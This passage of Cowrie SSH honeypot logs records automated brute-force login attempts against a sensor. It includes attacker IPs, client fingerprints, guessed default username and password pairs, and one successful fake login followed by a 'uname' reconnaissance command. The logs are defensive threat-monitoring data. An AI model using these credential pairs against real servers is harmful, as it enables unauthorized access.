istp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:29.138691Z","src_ip":"91.92.42.133","session":"691960b0f5a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"cloud123!","message":"login attempt [cloud/cloud123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:30.241154Z","src_ip":"91.92.42.133","session":"691960b0f5a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:31.396544Z","src_ip":"91.92.42.133","session":"691960b0f5a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":35398,"dst_ip":"159.203.135.109","dst_port":22,"session":"da6a1d522ab2","protocol":"ssh","message":"New connection: 91.92.40.171:35398 (159.203.135.109:22) [session: da6a1d522ab2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:31.808315Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:31.820284Z","src_ip":"91.92.40.171","session":"da6a1d522ab2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:32.413808Z","src_ip":"91.92.40.171","session":"da6a1d522ab2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest123","message":"login attempt [guest/guest123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:34.743725Z","src_ip":"91.92.40.171","session":"da6a1d522ab2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":48368,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b084e7659e0","protocol":"ssh","message":"New connection: 91.92.40.171:48368 (159.203.135.109:22) [session: 2b084e7659e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:36.160114Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:36.328611Z","src_ip":"91.92.40.171","session":"2b084e7659e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:36.332279Z","src_ip":"91.92.40.171","session":"2b084e7659e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:36.571774Z","src_ip":"91.92.40.171","session":"da6a1d522ab2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":60162,"dst_ip":"159.203.135.109","dst_port":22,"session":"0660bc32c8ec","protocol":"ssh","message":"New connection: 91.92.42.133:60162 (159.203.135.109:22) [session: 0660bc32c8ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:36.886532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:36.941572Z","src_ip":"91.92.42.133","session":"0660bc32c8ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:37.069663Z","src_ip":"91.92.42.133","session":"0660bc32c8ec","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle123","message":"login attempt [oracle/oracle123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:37.196694Z","src_ip":"91.92.40.171","session":"2b084e7659e0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:37.748599Z","src_ip":"91.92.40.171","session":"2b084e7659e0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:37.751544Z","src_ip":"91.92.40.171","session":"2b084e7659e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nutanix","password":"nutanix/4u","message":"login attempt [nutanix/nutanix/4u] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:37.863150Z","src_ip":"91.92.42.133","session":"0660bc32c8ec","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:38.097417Z","src_ip":"91.92.40.171","session":"2b084e7659e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:38.100849Z","src_ip":"91.92.40.171","session":"2b084e7659e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:39.077142Z","src_ip":"91.92.42.133","session":"0660bc32c8ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":34088,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7961b3e43b8","protocol":"ssh","message":"New connection: 27.71.230.31:34088 (159.203.135.109:22) [session: c7961b3e43b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:41.322255Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:41.593886Z","src_ip":"27.71.230.31","session":"c7961b3e43b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:41.596347Z","src_ip":"27.71.230.31","session":"c7961b3e43b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":48410,"dst_ip":"159.203.135.109","dst_port":22,"session":"453e451d2eeb","protocol":"ssh","message":"New connection: 91.92.40.171:48410 (159.203.135.109:22) [session: 453e451d2eeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:42.750928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:42.839326Z","src_ip":"91.92.40.171","session":"453e451d2eeb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:43.290260Z","src_ip":"91.92.40.171","session":"453e451d2eeb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":60206,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc9b0648916d","protocol":"ssh","message":"New connection: 91.92.42.133:60206 (159.203.135.109:22) [session: dc9b0648916d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:44.073148Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:44.330251Z","src_ip":"91.92.42.133","session":"dc9b0648916d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:44.352792Z","src_ip":"91.92.42.133","session":"dc9b0648916d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123!@#","message":"login attempt [root/Admin123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:45.097608Z","src_ip":"91.92.40.171","session":"453e451d2eeb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admins1","message":"login attempt [root/Admins1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:45.317552Z","src_ip":"27.71.230.31","session":"c7961b3e43b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"E4IuG88G","message":"login attempt [admin/E4IuG88G] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:45.630994Z","src_ip":"91.92.42.133","session":"dc9b0648916d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:46.714671Z","src_ip":"91.92.40.171","session":"453e451d2eeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:46.908425Z","src_ip":"91.92.42.133","session":"dc9b0648916d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:47.509961Z","src_ip":"27.71.230.31","session":"c7961b3e43b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.140.193.156","src_port":46394,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5014a2674eb","protocol":"ssh","message":"New connection: 45.140.193.156:46394 (10.17.0.5:22) [session: f5014a2674eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:48.417929Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:48.432539Z","src_ip":"45.140.193.156","session":"f5014a2674eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:48.542982Z","src_ip":"45.140.193.156","session":"f5014a2674eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"1234","message":"login attempt [jenkins/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:48.993612Z","src_ip":"45.140.193.156","session":"f5014a2674eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":47062,"dst_ip":"159.203.135.109","dst_port":22,"session":"465489667c55","protocol":"ssh","message":"New connection: 91.92.40.171:47062 (159.203.135.109:22) [session: 465489667c55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:49.088553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:49.206203Z","src_ip":"91.92.40.171","session":"465489667c55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:49.869831Z","src_ip":"91.92.40.171","session":"465489667c55","protocol":"ssh"}
